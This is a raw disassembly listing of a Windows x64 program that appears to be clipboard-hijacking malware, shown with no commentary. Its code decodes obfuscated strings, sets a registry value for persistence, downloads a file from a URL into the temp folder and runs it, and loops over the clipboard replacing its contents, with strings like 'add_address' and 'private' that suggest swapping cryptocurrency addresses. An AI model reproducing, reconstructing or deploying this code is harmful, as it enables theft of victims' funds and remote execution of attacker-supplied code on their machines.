xor r12b, r11b
mov byte [rsp + 0x122], r12b
xor r13b, r11b
mov byte [rsp + 0x123], r13b
mov al, 0x56
xor al, r11b
mov byte [rsp + 0x124], al
mov al, 0x4d
xor al, r11b
mov byte [rsp + 0x125], al
mov byte [rsp + 0x126], 0
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0xf9]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea rdx, [rsp + 0x208]
lea rcx, [rsp + 0x148]
call fcn.1400779c0
nop
mov ebx, dword [rax + 0x10]
inc ebx
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x148]
call fcn.1400779c0
mov rcx, rax
call fcn.140080080
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.AppHelpCap
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x250]
call fcn.1400761f0
nop
lea rcx, [rsp + 0x208]
call fcn.1400761f0
lea rcx, [rsp + 0x188]
call fcn.140080080
mov rcx, rax
call fcn.1401958d4
nop
lea rcx, [rsp + 0x188]
call fcn.1400761f0
nop
lea rcx, [rsp + 0x128]
call fcn.140077de0
nop
lea rcx, [rsp + 0x148]
call fcn.140077de0
nop
lea rcx, [rsp + 0x1c8]
call fcn.140077de0
nop
lea rcx, [rsp + 0x1a8]
call fcn.1400761f0
xor eax, eax
mov rcx, qword [rsp + 0x1800]
xor rcx, rsp
call fcn.1401862b0
lea r11, [rsp + 0x1840]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
ret
lea rcx, [rsp + 0x128]
call fcn.140077de0
nop
lea rcx, [rsp + 0x148]
call fcn.140077de0
nop
lea rcx, [rsp + 0x1c8]
call fcn.140077de0
lea r8, [0x14036c6d0]
lea rdi, [0x14036c338]
mov rdx, rdi
lea rcx, [rsp + 0x250]
call fcn.140079960
mov rbx, rax
cmp rdi, rax
je 0x14007caff
mov rdx, qword [0x14036c350]
cmp rdx, 0xf
jbe 0x14007cacc
mov rcx, qword [0x14036c338]
inc rdx
cmp rdx, 0x1000
jb 0x14007cac7
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14007dc81
mov rcx, r8
call fcn.14018630c
movdqu xmmword [0x14036c348], xmm6
mov byte [0x14036c338], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x14036c338], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x14036c348], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], recv
mov byte [rbx], 0
mov rdx, qword [rsp + 0x268]
cmp rdx, 0xf
jbe 0x14007cb5b
inc rdx
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007cb56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc81
jmp 0x14007cb56
lea rcx, [rsp + 0x1a8]
call fcn.1400761f0
mov eax, 1
jmp 0x14007c9fb
call fcn.14018630c
mov rcx, rdi
call fcn.140080080
mov r12, rax
lea rdx, [rsp + 0x5e0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, [rsp + 0x5e0]
lea rcx, [rsp + 0x4d0]
call fcn.140083860
lea rdx, str.ChromiumDatagram.txt
lea rcx, [rsp + 0x4d0]
call fcn.140083870
lea rdx, [rsp + 0x5e0]
lea rcx, [rsp + 0x6f0]
call fcn.140083860
lea rdx, str.ChromiumData.bat
lea rcx, [rsp + 0x6f0]
call fcn.140083870
lea rcx, [rsp + 0x3c0]
call fcn.14007ddb0
lea rdx, [rsp + 0x4d0]
lea rcx, [rsp + 0x3c0]
call fcn.14007ef10
nop
lea rdx, [rsp + 0x4d0]
lea rcx, [rsp + 0x250]
call fcn.1400837e0
nop
lea rcx, [rsp + 0x250]
call fcn.140078760
movzx ebx, al
lea rcx, [rsp + 0x250]
call fcn.140077de0
test bl, bl
jne 0x14007cc7d
lea rcx, [rsp + 0x2b0]
call fcn.14007de60
mov r8d, 2
lea rdx, [rsp + 0x4d0]
lea rcx, [rsp + 0x2b0]
call fcn.14007dfd0
nop
xor edx, edx
lea rcx, [rsp + 0x2b0]
call fcn.14007fc50
lea rcx, [rsp + 0x2b0]
call fcn.14007df30
nop
lea rcx, [rsp + 0x2b0]
call fcn.14007ddc0
jmp 0x14007cf45
lea rcx, [rsp + 0x290]
call fcn.140076250
nop
xor dil, dil
nop
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
mov rax, qword [rsp + rcx + 0x400]
mov rcx, qword [rax + 8]
mov qword [rsp + 0x170], rcx
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x168]
call fcn.140082df0
mov rcx, qword [rax]
mov r8, qword [rcx + 0x40]
mov dl, 0xa
mov rcx, rax
call r8
movzx ebx, al
mov rcx, qword [rsp + 0x170]
test rcx, rcx
je 0x14007ccff
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14007ccff
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
movzx r8d, bl
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x3c0]
call fcn.1400866e0
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
jne 0x14007cd60
lea rax, [rsp + 0x290]
cmp qword [rsp + 0x2a8], 0xf
cmova rax, qword [rsp + 0x290]
cmp qword [rsp + 0x2a0], 1
jne 0x14007cc90
cmp byte [rax], 0x31
sete al
test al, al
je 0x14007cc90
mov dil, 1
lea rcx, [rsp + 0x3c0]
call fcn.14007ee70
test dil, dil
jne 0x14007cf37
lea rcx, [rsp + 0x2b0]
call fcn.14007de60
mov r8d, 8
lea rdx, [rsp + 0x4d0]
lea rcx, [rsp + 0x2b0]
call fcn.14007dfd0
nop
lea rcx, [rsp + 0x2b0]
call fcn.140083640
mov edx, 1
mov rcx, rax
call fcn.14007fc50
lea rcx, [rsp + 0x2b0]
call fcn.14007df30
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.UserAgent
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x14007ce16
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rsp + 0x6f0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14007ce5f
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rsp + 0xc0], r15d
lea r9, [rsp + 0xc0]
mov r8d, 0x1000
lea rdx, [rsp + 0x800]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14007cee6
nop word [rax + rax]
mov r8d, dword [rsp + 0xc0]
test r8d, r8d
je 0x14007cee6
mov dword [rsp + 0xf0], r15d
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0xf0]
lea rdx, [rsp + 0x800]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0xc0]
mov r8d, 0x1000
lea rdx, [rsp + 0x800]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14007ce90
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rsp + 0x6f0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
lea rcx, [rsp + 0x2b0]
call fcn.14007ddc0
nop
lea rcx, [rsp + 0x290]
call fcn.1400761f0
nop
lea rcx, [rsp + 0x3c0]
call fcn.14007dd10
mov byte [rsp + 0xd0], 0x15
mov al, reloc.WS2_32.dll_WSACleanup
mov cl, 0x40
mov dl, 0x7e
mov r8b, 0x5f
mov r9b, 0x3e
mov r10b, 0x71
movzx r11d, cl
movzx ebx, r8b
mov dil, 0x62
xor r14d, r14d
xor al, 0x15
mov byte [rsp + 0xd1], al
xor cl, 0x15
mov byte [rsp + 0xd2], cl
xor dl, 0x15
mov byte [rsp + 0xd3], dl
xor r8b, 0x15
mov byte [rsp + 0xd4], r8b
xor r9b, 0x15
mov byte [rsp + 0xd5], r9b
xor r10b, 0x15
mov byte [rsp + 0xd6], r10b
xor r11b, 0x15
mov byte [rsp + 0xd7], r11b
xor bl, 0x15
mov byte [rsp + 0xd8], bl
xor dil, 0x15
mov byte [rsp + 0xd9], dil
mov byte [rsp + 0xda], r14b
lea r8, [rsp + 0xd1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
movzx ebx, byte [rsp + 0x40]
movzx edi, byte [rsp + 0x40]
nop
mov ecx, 0x14
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
cmp dword [0x14036c2f4], eax
je 0x14007d000
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14007d000
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
test rax, rax
je 0x14007d09c
xorps xmm0, xmm0
movups xmmword [rsp + 0x188], xmm0
mov qword [rsp + 0x198], r15
mov qword [rsp + 0x1a0], r15
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14007d060
mov rdx, rax
lea rcx, [rsp + 0x188]
call fcn.140084310
movups xmm1, xmmword [rsp + 0x188]
movups xmmword [rsp + 0xf8], xmm1
movups xmm0, xmmword [rsp + 0x198]
movups xmmword [rsp + 0x108], xmm0
mov al, 1
mov byte [rsp + 0x118], al
or esi, 0x20
mov r13d, esi
test al, al
je 0x14007dbb2
cmp qword [rsp + 0x108], 0
je 0x14007dbb2
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x1c8]
call fcn.1400802f0
nop
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x250]
call fcn.1400802f0
nop
mov r14, qword [0x14036c398]
mov r12, qword [0x14036c3a0]
cmp r14, r12
je 0x14007daa2
cmp qword [r14 + 0x38], 0
je 0x14007d196
lea r9, [r14 + 0x28]
mov r8, r14
lea rdx, [rsp + 0x1c8]
lea rcx, [rsp + 0x208]
call fcn.140083880
mov rdx, rax
lea rcx, [rsp + 0x1c8]
call fcn.1400800e0
mov rdx, qword [rsp + 0x220]
cmp rdx, 0xf
jbe 0x14007d17d
inc rdx
mov rcx, qword [rsp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d178
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc8d
call fcn.14018630c
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x1c8]
call fcn.140083900
test al, al
jne 0x14007d1a8
add r14, 0x48
cmp r14, r12
jne 0x14007d103
jmp 0x14007daa2
cmp byte [0x140364c00], 0
je 0x14007da3a
lea rcx, [r14 + 0x28]
lea rdx, [0x14036c530]
call fcn.1400836d0
test al, al
jne 0x14007d1e1
lea rcx, [r14 + 0x28]
lea rdx, [0x14036c3b0]
call fcn.1400836d0
test al, al
je 0x14007da3a
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x48]
call fcn.14007a550
nop
movzx r8d, byte [rsp + 0x41]
mov rdx, rax
lea rcx, [rsp + 0x208]
call fcn.14007a610
nop
lea rcx, [rsp + 0x48]
call fcn.1400761f0
mov dl, 1
call fcn.14007f360
lea rcx, [0x140364c80]
call fcn.1400800d0
lea rcx, [0x140364c60]
call fcn.1400800d0
lea rcx, [rsp + 0x148]
call fcn.14007de70
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x148], xmm1
mov qword [rsp + 0x158], r15
mov esi, r15d
nop dword [rax + rax]
lea rdx, [rsp + 0x208]
lea rcx, [rsp + 0x70]
call fcn.1400802f0
nop
movzx eax, byte [rsp + 0x41]
mov byte [rsp + 0x90], al
lea rdx, [r14 + 0x28]
lea rcx, [rsp + 0x98]
call fcn.1400802f0
nop
lea r8, [rsp + 0x70]
lea rcx, [rsp + 0x168]
call fcn.140083950
nop
mov rdx, rax
lea rcx, [rsp + 0x148]
call fcn.14007de80
nop
cmp dword [rsp + 0x170], 0
jne 0x14007dcf6
lea rcx, [rsp + 0x70]
call fcn.14007b0c0
inc esi
cmp esi, 0x14
jl 0x14007d260
mov rsi, qword [rsp + 0x148]
mov r12, qword [rsp + 0x150]
cmp rsi, r12
je 0x14007d339
nop dword [rax]
cmp dword [rsi + 8], 0
je 0x14007dca9
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rsi + 8], eax
je 0x14007dc9e
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0xd0], xmm0
xor edx, edx
lea rcx, [rsp + 0xd0]
call fcn.1401895a8
test eax, eax
jne 0x14007dc93
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
add rsi, 0x10
cmp rsi, r12
jne 0x14007d2f0
mov r12b, 1
mov rax, qword [0x140364c90]
test rax, rax
je 0x14007d352
cmp qword [0x140364c70], 0
jne 0x14007d384
lea rdx, [r14 + 0x28]
lea r14, [0x140364c80]
cmp r14, rdx
je 0x14007d37f
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x14007d370
mov rdx, qword [rdx]
mov rcx, r14
call fcn.140081e20
mov rax, qword [0x140364c90]
xor r12b, r12b
jmp 0x14007d38b
lea r14, [0x140364c80]
lea rdx, [rax + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rsi, rax
test rax, rax
je 0x14007d3ea
mov rdx, r14
cmp qword [0x140364c98], 0xf
cmova rdx, qword [0x140364c80]
mov r8, qword [0x140364c90]
inc r8
mov rcx, rax
call fcn.1401bb480
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, rsi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov dword [0x14036c2f4], eax
call qword [sym.imp.USER32.dll_CloseClipboard]
mov esi, r13d
test r12b, r12b
je 0x14007d974
xorps xmm0, xmm0
movups xmmword [rsp + 0x188], xmm0
mov qword [rsp + 0x198], r15
mov qword [rsp + 0x1a0], recv
mov byte [rsp + 0x188], 0
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rsp + 0x1b8]
sub rax, rcx
cmp byte [rsp + 0x40], 1
jne 0x14007d6ab
cmp rax, 0xb
jb 0x14007dcc0
lea r9, [rsp + 0x1a8]
cmp qword [rsp + 0x1c0], 0xf
cmova r9, qword [rsp + 0x1a8]
mov qword [rsp + 0x30], recv
lea rax, str.zv_address
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x1a8]
movzx edx, bl
lea rcx, [rsp + 0x48]
call fcn.140086100
nop
mov rdx, r14
cmp qword [0x140364c98], 0xf
cmova rdx, qword [0x140364c80]
mov r8, qword [0x140364c90]
lea rcx, [rsp + 0x48]
call fcn.140081f80
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
mov qword [rsp + 0x138], r15
mov qword [rsp + 0x140], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x128], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x138], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov r8d, 9
lea rdx, str.private
lea rcx, [rsp + 0x128]
call fcn.140081f80
xorps xmm0, xmm0
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xe0], r15
mov qword [rsp + 0xe8], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xe0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
lea rdx, [0x140364c60]
cmp qword [0x140364c78], 0xf
cmova rdx, qword [0x140364c60]
mov r8, qword [0x140364c70]
lea rcx, [rsp + 0xd0]
call fcn.140081f80
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
or esi, 0x3c0
movups xmmword [rsp + 0x188], xmm0
movups xmmword [rsp + 0x198], xmm1
mov rdx, qword [rsp + 0xe8]
cmp rdx, 0xf
jbe 0x14007d5eb
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d5e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dcb4
call fcn.14018630c
mov qword [rsp + 0xe0], r15
mov qword [rsp + 0xe8], recv
mov byte [rsp + 0xd0], 0
mov rdx, qword [rsp + 0x140]
cmp rdx, 0xf
jbe 0x14007d64a
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d645
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dcba
call fcn.14018630c
mov qword [rsp + 0x138], r15
mov qword [rsp + 0x140], recv
mov byte [rsp + 0x128], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14007d915
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d910
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc87
jmp 0x14007d910
cmp rax, 0xc
jb 0x14007dcde
lea r9, [rsp + 0x1a8]
cmp qword [rsp + 0x1c0], 0xf
cmova r9, qword [rsp + 0x1a8]
mov qword [rsp + 0x30], recv
lea rax, str.add_address
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x1a8]
movzx edx, dil
lea rcx, [rsp + 0x48]
call fcn.140086100
nop
mov rdx, r14
cmp qword [0x140364c98], 0xf
cmova rdx, qword [0x140364c80]
mov r8, qword [0x140364c90]
lea rcx, [rsp + 0x48]
call fcn.140081f80
xorps xmm0, xmm0
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xe0], r15
mov qword [rsp + 0xe8], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xe0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov r8d, 9
lea rdx, str.private
lea rcx, [rsp + 0xd0]
call fcn.140081f80
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
mov qword [rsp + 0x138], r15
mov qword [rsp + 0x140], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x128], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x138], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
lea rdx, [0x140364c60]
cmp qword [0x140364c78], 0xf
cmova rdx, qword [0x140364c60]
mov r8, qword [0x140364c70]
lea rcx, [rsp + 0x128]
call fcn.140081f80
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov esi, r13d
or esi, 0x3c00
movups xmmword [rsp + 0x188], xmm0
movups xmmword [rsp + 0x198], xmm1
mov rdx, qword [rsp + 0x140]
cmp rdx, 0xf
jbe 0x14007d85d
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d858
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dcc6
call fcn.14018630c
mov qword [rsp + 0x138], r15
mov qword [rsp + 0x140], recv
mov byte [rsp + 0x128], 0
mov rdx, qword [rsp + 0xe8]
cmp rdx, 0xf
jbe 0x14007d8bc
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d8b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dccc
call fcn.14018630c
mov qword [rsp + 0xe0], r15
mov qword [rsp + 0xe8], recv
mov byte [rsp + 0xd0], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14007d915
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d910
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dcd2
call fcn.14018630c
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x48]
call fcn.1400802f0
mov rcx, rax
call fcn.140079100
nop
mov rdx, qword [rsp + 0x1a0]
cmp rdx, 0xf
jbe 0x14007d974
inc rdx
mov rcx, qword [rsp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d96e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dcd8
call fcn.14018630c
nop
mov rcx, qword [rsp + 0x148]
test rcx, rcx
je 0x14007d9f1
mov rax, rcx
mov rdx, qword [rsp + 0x150]
cmp rcx, rdx
je 0x14007d9a4
cmp dword [rax + 8], 0
jne 0x14007dce4
add rax, 0x10
cmp rax, rdx
jne 0x14007d991
mov rdx, qword [rsp + 0x158]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d9d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dcea
call fcn.14018630c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x148], xmm0
mov qword [rsp + 0x158], r15
mov rdx, qword [rsp + 0x220]
cmp rdx, 0xf
jbe 0x14007daa2
inc rdx
mov rcx, qword [rsp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007da33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dcf0
call fcn.14018630c
jmp 0x14007daa2
mov rdx, qword [rsp + 0x1d8]
inc rdx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r14, rax
test rax, rax
je 0x14007daa2
mov rsi, qword [rsp + 0x1d8]
lea rcx, [rsp + 0x1c8]
call fcn.140080080
mov rdx, rax
lea r8, [rsi + 1]
mov rcx, r14
call fcn.1401bb480
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, r14
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov dword [0x14036c2f4], eax
call qword [sym.imp.USER32.dll_CloseClipboard]
mov esi, r13d
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov dword [0x14036c2f4], eax
call qword [sym.imp.USER32.dll_CloseClipboard]
nop
mov rdx, qword [rsp + 0x268]
cmp rdx, 0xf
jbe 0x14007daf9
inc rdx
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007daf3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dcfc
call fcn.14018630c
nop
mov rdx, qword [rsp + 0x1e0]
cmp rdx, 0xf
jbe 0x14007db3c
inc rdx
mov rcx, qword [rsp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007db37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dd02
call fcn.14018630c
mov qword [rsp + 0x1d8], r15
mov qword [rsp + 0x1e0], recv
mov byte [rsp + 0x1c8], 0
cmp byte [rsp + 0x118], 0
je 0x14007d000
mov rdx, qword [rsp + 0x110]
cmp rdx, 0xf
jbe 0x14007d000
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007dba8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dd08
call fcn.14018630c
jmp 0x14007d000
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov dword [0x14036c2f4], eax
call qword [sym.imp.USER32.dll_CloseClipboard]
nop
cmp byte [rsp + 0x118], 0
je 0x14007d000
mov rdx, qword [rsp + 0x110]
cmp rdx, 0xf
jbe 0x14007d000
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007dc11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007dc1b
call fcn.14018630c
jmp 0x14007d000
call fcn.14018f254
nop
call fcn.14018f254
int3
call fcn.140082d70
nop
call fcn.14018f254
nop
call fcn.14018f254
nop
call fcn.14018f254
nop
call fcn.140075fc0
nop
call fcn.14018f254
nop
call fcn.14018f254
nop
call fcn.14018f254
nop
call fcn.14018f254
int3
call fcn.14018f254
nop
call fcn.14018f254
nop
call fcn.14018f254
nop
call fcn.14018f254
nop
call fcn.14018f254
nop
call fcn.14018f254
nop
call fcn.14018f254
nop
call fcn.14018f254
nop
call fcn.14018f254
nop
mov ecx, 2
call fcn.14018870c
int3
mov ecx, 5
call fcn.14018870c
int3
mov ecx, 1
call fcn.14018870c
nop
call fcn.14018f254
nop
call fcn.14018f254
nop
call fcn.140075fc0
nop
call fcn.14018f254
nop
call fcn.14018f254
nop
call fcn.14018f254
nop
call fcn.14018f254
nop
call fcn.140075fc0
nop
call fcn.140195a1c
int3
call fcn.14018f254
nop
call fcn.14018f254
nop
call fcn.140195a1c
nop
call fcn.14018f254
nop
call fcn.14018f254
nop
call fcn.14018f254
int3